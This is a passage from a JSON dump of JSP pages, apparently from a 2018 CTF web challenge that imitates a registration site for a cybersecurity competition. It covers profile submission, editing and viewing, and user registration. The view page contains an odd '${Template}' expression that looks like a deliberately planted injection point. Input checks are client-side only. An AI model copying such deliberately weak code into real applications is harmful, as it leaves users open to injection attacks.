class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 联系电话:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"phone\" id=\"phone\" onblur=\"checkPhoneNumber(this.id,this.value)\" class=\"form-control checked-no\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"mail\" id=\"mail\" value=\"${email}\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>更多【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-2 control-label\">* 照片:</label>\n                                                    <div class=\"col-sm-10 input-group\">\n                                                        <div class=\"col-xs-12 col-sm-4 col-md-4\">\n                                                            <div class=\"file-container\" style=\"display:inline-block;position:relative;overflow: hidden;vertical-align:middle\">\n                                                                <button class=\"btn btn-success fileinput-button\" type=\"button\">上传</button>\n                                                                <input type=\"file\" id=\"image\" name=\"image\" class=\"checked-no\" onchange=\"loadFile(this.files[0])\" style=\"position:absolute;top:0;left:0;font-size:34px; opacity:0\">\n                                                            </div>\n                                                            <span id=\"filename\" style=\"vertical-align: middle\">未上传文件</span>\n                                                        </div>\n                                                        <div class=\"col-sm-8 text-left\">\n                                                            <span style=\"color: red\">【图片大小不超过4M，仅支持png,jpg,jpeg类型图片格式】</span>\n                                                        </div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 兴趣爱好<label class='text-danger'>【100字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"hobby\" id=\"hobby\" onblur=\"checkLength(this.id,this.value,1,200)\" class=\"form-control checked-no\" rows=\"3\"></textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就<label class='text-danger'>【300字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"description\" onblur=\"checkLength(this.id,this.value,1,600)\" id=\"description\" class=\"form-control checked-no\" rows=\"4\"></textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </fieldset>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px;margin-bottom: 50px\">\n                            <button type=\"submit\" onclick=\"submitProfile()\" class=\"btn btn-success\">个人信息提交</button>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<input type=\"hidden\" name=\"user_id\" value=\"${userId}\"/>\n<script type=\"text/javascript\">\n    $(function () {\n        $(\"#birthday\").datetimepicker({\n            format: 'yyyy-mm-dd',\n            language: 'zh-CN',\n            weekStart: 1,\n            todayBtn: 1,//显示‘今日’按钮\n            autoclose: 1,\n            todayHighlight: 1,\n            startView: 2,\n            minView: 2,  //Number, String. 默认值：0, 'hour'，日期时间选择器所能够提供的最精确的时间选择视图。\n            clearBtn:true,//清除按钮\n            forceParse: 0\n        });\n        //设置为不可输入\n        $('#birthday').focus(function(){\n            $(this).blur();//不可输入状态\n        })\n        //邮箱不可编辑\n        $('#mail').attr(\"readonly\",\"readonly\")//将email设置为readonly\n        ShowMsg(\"${message}\");\n    })\n\n    function loadFile(file){\n        var fileName = file.name;\n        var index = fileName.lastIndexOf('.');\n        var ext = fileName.substring(index+1).toLowerCase();\n        if(file.size>4*1024*1000){\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#image\").addClass(\"checked-no\");\n            $(\"#filename\").html(\"\");\n            ShowWarn(\"文件大小超过限制\");\n        }\n        if(ext==\"jpg\"||ext==\"png\"||ext==\"jpeg\"){\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#filename\").html(fileName);\n        }else {\n            $(\"#image\").removeClass(\"checked-no\");\n            $(\"#image\").addClass(\"checked-no\");\n            $(\"#filename\").html(\"\");\n            ShowWarn(\"仅支持的图片上传格式：JPG，PNG，JPEG！\");\n        }\n    }\n    function checkPic() {\n\n    }\n    function addBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0){\n            $(\"\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"\"+id).removeClass(\"checked-no\");\n            $(\"\"+id).addClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n            $(\"#\"+id).addClass(\"checked-no\");\n        }\n    }\n    function removeBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0) {\n            $(\"\" + id).css(\"background-color\", \"#ffffff\");\n            $(\"\"+ id).removeClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#ffffff\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n        }\n    }\n\n    function checkPhoneNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePhoneNumber(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"手机号格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkLength(id,str,min,max) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validateLengthMin(str,min)&&validateLengthMax(str,max)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"参数长度不合法！,\"+min+\"-\"+max+\"个字符\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function submitProfile() {\n        var name = $(\"#name\").val();//长度2-12\n        var gender = $(\"#gender\").val();//男、女\n        var type = $(\"#type\").val();//科类：理科、文科、综合改革\n        var mail = $(\"#mail\").val();//邮箱校验\n\n        var checkedNo = $(\".checked-no\");\n        if(typeof checkedNo !='undefined' && checkedNo.length>=1){\n            ShowWarn(\"请按照要求填写表单！\");\n        }else{\n            if($(\"#image\")[0].size>4*1024*1000){\n                ShowMsg(\"文件大小超过限制\");\n            }else {\n                $(\"#profile-submit\").submit();\n            }\n        }\n    }\n\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_edit.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n    <div class=\"content\">\n        <div class=\"container\">\n            <div class=\"row\" ></div>\n            <div class=\"row\">\n                <div class=\"col-md-2 text-center\">\n                </div>\n                <div class=\"col-md-8 text-center\">\n                    <h3><strong>修改个人信息</strong></h3>\n                </div>\n                <div class=\"col-md-2 text-center\">\n                    <img src=\"${cp}${profile.photo}\" alt=\"\">\n                </div>\n            </div>\n            <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n            <div class=\"row\">\n                <div class=\"col-md-12\">\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\">\n                            <div class=\"form-horizontal\">\n                                <form role=\"form\" action=\"${cp}profile/edit\" id=\"profile-edit-submit\" method=\"post\" >\n                                    <fieldset>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>个人基本信息【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 姓 名:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" id=\"name\" name=\"name\" value=\"${profile.name}\" onblur=\"checkLength(this.id,this.value,2,12)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 性 别:</label>\n                                                    <div class=\"col-sm-3\"></div>\n                                                    <div class=\"col-sm-3 input-group\">\n                                                        <label for=\"\">男</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"男\" aria-label=\"...\">\n                                                </span>\n                                                        <label for=\"gender\">女</label>&nbsp;\n                                                        <span class=\"input-group-addon\">\n                                                    <input type=\"radio\" name=\"gender\" value=\"女\" aria-label=\"...\">\n                                                </span>\n                                                    </div>\n                                                    <div class=\"col-sm-3\"></div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 出生年月:</label>\n                                                    <div class=\"col-sm-9 input-group\" id=\"datetimepicker\">\n                                                        <input type=\"text\" id=\"birthday\" name=\"birthday\" value=\"${profile.birthday}\"  class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <div class=\"form-group\">\n                                                        <label class=\"col-sm-3 control-label\">* 科 类:</label>\n                                                        <div class=\"col-sm-1\"></div>\n                                                        <div class=\"col-sm-7 input-group\">\n                                                            <label for=\"\">理科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"理科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">文科</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"文科\" aria-label=\"...\">\n                                                    </span>\n                                                            <label for=\"\">综合改革</label>&nbsp;\n                                                            <span class=\"input-group-addon\">\n                                                        <input type=\"radio\" name=\"type\" value=\"综合改革\" aria-label=\"...\">\n                                                    </span>\n                                                        </div>\n                                                        <div class=\"col-sm-1\"></div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 联系电话:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"phone\" id=\"phone\" value=\"${profile.phone}\" onblur=\"checkPhoneNumber(this.id,this.value)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                            <div class=\"col-md-6\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                                    <div class=\"col-sm-9 input-group\">\n                                                        <input type=\"text\" name=\"mail\" id=\"mail\" value=\"${profile.mail}\" onblur=\"checkMail(this.id,this.value)\" class=\"form-control\">\n                                                        <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                            <div class=\"col-md-2 text-center\">\n                                                <h5><strong>更多【必填】</strong></h5>\n                                            </div>\n                                            <div class=\"col-md-5\">\n                                                <hr style=\"border: 3px double #ff0033\">\n                                            </div>\n                                        </div>\n\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-2 control-label\">* 照片:</label>\n                                                    <div class=\"col-sm-10 input-group\">\n                                                        <div class=\"col-xs-12 col-sm-4 col-md-4\">\n                                                            <div class=\"file-container\" style=\"display:inline-block;position:relative;overflow: hidden;vertical-align:middle\">\n                                                                <button class=\"btn btn-success fileinput-button\" type=\"button\">上传</button>\n                                                                <input type=\"file\" id=\"image\" name=\"image\" class=\"checked-no\" onchange=\"loadFile(this.files[0])\" style=\"position:absolute;top:0;left:0;font-size:34px; opacity:0\">\n                                                            </div>\n                                                            <span id=\"filename\" style=\"vertical-align: middle\">未上传文件</span>\n                                                        </div>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 兴趣爱好<label class='text-danger'>【100字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"hobby\" id=\"hobby\" onblur=\"checkLength(this.id,this.value,1,200)\" class=\"form-control\" rows=\"3\">${profile.hobby}</textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"row\">\n                                            <div class=\"col-md-12\">\n                                                <div class=\"form-group\">\n                                                    <label class=\"col-sm-4 control-label\">* 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就<label class='text-danger'>【300字以内，没有则写无】</label>:</label>\n                                                    <div class=\"col-sm-8 input-group\">\n                                                        <textarea name=\"description\" onblur=\"checkLength(this.id,this.value,1,600)\" id=\"description\" class=\"form-control\" rows=\"4\">${profile.description}</textarea>\n                                                    </div>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </fieldset>\n                                </form>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"row\">\n                        <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px;margin-bottom: 50px\">\n                            <button type=\"submit\" onclick=\"editProfile()\" class=\"btn btn-success\">修改个人信息</button>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $(\"#birthday\").datetimepicker({\n            format: 'yyyy-mm-dd',\n            language: 'zh-CN',\n            weekStart: 1,\n            todayBtn: 1,//显示‘今日’按钮\n            autoclose: 1,\n            todayHighlight: 1,\n            startView: 2,\n            minView: 2,  //Number, String. 默认值：0, 'hour'，日期时间选择器所能够提供的最精确的时间选择视图。\n            clearBtn:true,//清除按钮\n            forceParse: 0\n        });\n        //设置为不可输入\n        $('#birthday').focus(function(){\n            $(this).blur();//不可输入状态\n        })\n        //给radio、option赋初值\n        $(\"input[name='gender'][value=${profile.gender}]\").attr(\"checked\",true);\n        $(\"input[name='type'][value=${profile.type}]\").attr(\"checked\",true);\n        //给option赋初值\n\n        ShowMsg(\"${message}\");\n    })\n\n   function loadFile(file){\n       var fileName = file.name;\n       var index = fileName.lastIndexOf('.');\n       var ext = fileName.substring(index+1).toLowerCase();\n       if(ext==\"jpg\"||ext==\"png\"||ext==\"jpeg\"){\n           $(\"#image\").removeClass(\"checked-no\");\n           $(\"#filename\").html(fileName);\n       }else {\n           $(\"#image\").removeClass(\"checked-no\");\n           $(\"#image\").addClass(\"checked-no\");\n           $(\"#filename\").html(\"\");\n           ShowWarn(\"仅支持的图片上传格式：JPG，PNG，JPEG！\");\n       }\n   }\n    function checkPic() {\n\n    }\n    function addBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0){\n            $(\"\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"\"+id).removeClass(\"checked-no\");\n            $(\"\"+id).addClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#FFE7BA\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n            $(\"#\"+id).addClass(\"checked-no\");\n        }\n    }\n    function removeBackgroundWarningColor(id){\n        if(id.indexOf(\"#\")>=0) {\n            $(\"\" + id).css(\"background-color\", \"#ffffff\");\n            $(\"\"+ id).removeClass(\"checked-no\");\n        }else{\n            $(\"#\"+id).css(\"background-color\",\"#ffffff\");\n            $(\"#\"+id).removeClass(\"checked-no\");\n        }\n    }\n    function checkNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePositiveInteger(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"数字格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n    function checkPhoneNumber(id,str) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validatePhoneNumber(str)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"手机号格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkMail(id,email) {\n        email = myTrim(email);\n        $(\"#\"+id).val(email);\n        if(validateEmail(email)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"邮件格式不合法！\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function checkLength(id,str,min,max) {\n        str = myTrim(str);\n        $(\"#\"+id).val(str);\n        if(validateLengthMin(str,min)&&validateLengthMax(str,max)){\n            removeBackgroundWarningColor(id);\n        }else {\n            ShowFailure(\"参数长度不合法！,\"+min+\"-\"+max+\"个字符\")\n            addBackgroundWarningColor(id);\n        }\n    }\n\n    function editProfile() {\n        var name = $(\"#name\").val();//长度2-12\n        var gender = $(\"#gender\").val();//男、女\n        var type = $(\"#type\").val();//科类：理科、文科、综合改革\n        var mail = $(\"#mail\").val();//邮箱校验\n        $(\"#profile-edit-submit\").submit();\n\n    }\n\n</script>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/profile_view.jsp",
    "content": "\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" ></div>\n        <div class=\"row\">\n            <div class=\"col-md-2 text-center\">\n            </div>\n            <div class=\"col-md-8 text-center\">\n                <h3><strong>用户${profile.name} 报名信息</strong></h3>\n                <div class=\"row\">\n                    <div class=\"col-md-4 text-center\">\n                        <a href=\"${cp}/profile/my\" class=\"btn btn-info btn-small\">查看竞赛信息</a>\n                    </div>\n                    <div class=\"col-md-4\"><h4><strong>已填写</strong><span class=\"glyphicon glyphicon-ok\"></span></h4></div>\n                    <div class=\"col-md-4 text-center\">\n                        <a href=\"${cp}/profile/profileEditHtml.html\" class=\"btn btn-info btn-small\">修改信息</a>\n                    </div>\n                </div>\n            </div>\n            <div class=\"col-md-2 text-center\">\n                <img src=\"${cp}${profile.photo}\" alt=\"\">\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\">\n                                <fieldset>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                        <div class=\"col-md-2 text-center\">\n                                            <h5><strong>个人基本信息</strong></h5>\n                                        </div>\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 姓 名:</label>\n                                                ${Template}\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 性 别:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"gender\" value=\"${profile.gender}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-user\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 出生年月:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"birthday\" value=\"${profile.birthday}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-calendar\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 科 类:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"type\" value=\"${profile.type}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-pushpin\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 联系电话:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"phone\" value=\"${profile.phone}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-phone\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 邮箱:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <input type=\"text\" name=\"mail\" value=\"${profile.mail}\" class=\"form-control\">\n                                                    <span class=\"input-group-addon\">\n                                                        <span class=\"glyphicon glyphicon-envelope\"></span>\n                                                    </span>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                        <div class=\"col-md-2 text-center\">\n                                            <h5><strong>更多</strong></h5>\n                                        </div>\n                                        <div class=\"col-md-5\">\n                                            <hr style=\"border: 3px double #ff0033\">\n                                        </div>\n                                    </div>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-12\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 兴趣爱好:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <textarea name=\"hobby\" class=\"form-control\" rows=\"3\">${profile.hobby}</textarea>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                    <div class=\"row\">\n                                        <div class=\"col-md-12\">\n                                            <div class=\"form-group\">\n                                                <label class=\"col-sm-3 control-label\"> 请详细描述在网络安全技术领域参加的竞赛或者取得的突出成就:</label>\n                                                <div class=\"col-sm-9 input-group\">\n                                                    <textarea name=\"description\" class=\"form-control\" rows=\"3\">${profile.description}</textarea>\n                                                </div>\n                                            </div>\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 30px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        $('input').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n        $('textarea').attr(\"readonly\",\"readonly\")//将input元素设置为readonly\n    })\n</script>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/WEB-INF/jsp/register.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <%\n            if(!SystemDateTimeChecker.checkNowOk()){\n        %>\n        <jsp:include page=\"/common/closed.jsp\"></jsp:include>\n        <%\n            }else {\n        %>\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <h2>用户注册</h2>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-1\"></div>\n\n            <div class=\"col-md-8\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\" action=\"${cp}user/register.html\" id=\"regist-submit\" method=\"post\">\n                                <fieldset>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\" style=\"padding-top: 0px\">\n                                            <div class=\"row\">\n                                                <div class=\"col-sm-12\">\n                                                    <div class=\"row\">* 用户名:&nbsp;&nbsp;&nbsp;&nbsp;</div>\n                                                    <div class=\"row\" style=\"color: red;font-size: 11px\">【支持大小写字母、数字及@.+-_,不超过30个字符】</div>\n                                                </div>\n                                            </div>\n                                        </label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\"  id=\"username\" name=\"username\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                                <span class=\"glyphicon glyphicon-user\"></span>\n                                            </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\" style=\"padding-top: 0px\">\n                                            <div class=\"row\">\n                                                <div class=\"col-sm-12\">\n                                                    <div class=\"row\">* 密 码:&nbsp;&nbsp;&nbsp;&nbsp;</div>\n                                                    <div class=\"row\" style=\"color: red;font-size: 11px\">【支持大小写字母及数字，6-12个字符】</div>\n                                                </div>\n                                            </div>\n                                        </label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"password\" id=\"password\" name=\"password\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-eye-close\"></span>\n                                         </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-5 control-label\">* 邮 箱:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"email\" name=\"email\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-envelope\"></span>\n                                         </span>\n                                        </div>\n                                        <div class=\"col-sm-3\">\n\n                                        </div>\n                                    </div>\n                                </fieldset>\n                            </form>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\" style=\"padding-right: 0px\">\n                        <button type=\"submit\" onclick=\"registSubmit()\" class=\"btn btn-success\">注册</button>\n                    </div>\n                </div>\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-center\" style=\"padding-right: 0px\">\n                        <h5>已有账号？<a href=\"${cp}user/loginHtml.html\">马上登录</a></h5>\n                    </div>\n                </div>\n            </div>\n\n            <div class=\"col-md-3\"></div>\n        </div>\n        <%\n            }\n        %>\n    </div>\n</div>\n    <jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n<script type=\"text/javascript\">\n    $(function () {\n        ShowMsg(\"${message}\");\n    })\n    function registSubmit() {\n        var username = $(\"#username\").val();\n        var password = $(\"#password\").val();\n        var email = $(\"#email\").val();\n        if(validateUserName(username)){\n            if(validatePassword(password)){\n                if(validateEmail(email)){\n                    $(\"#regist-submit\").submit();\n                }else {\n                    ShowWarn(\"邮箱格式不合法！\")\n                }\n            }else {\n                ShowWarn(\"密码不合法！仅包含字母数字，6-12字符\")\n            }\n        }else {\n            ShowWarn(\"用户名不合法！仅包含字母数字及@.+-_，不超过30个字符\");\n        }\n    }\n</script>\n"
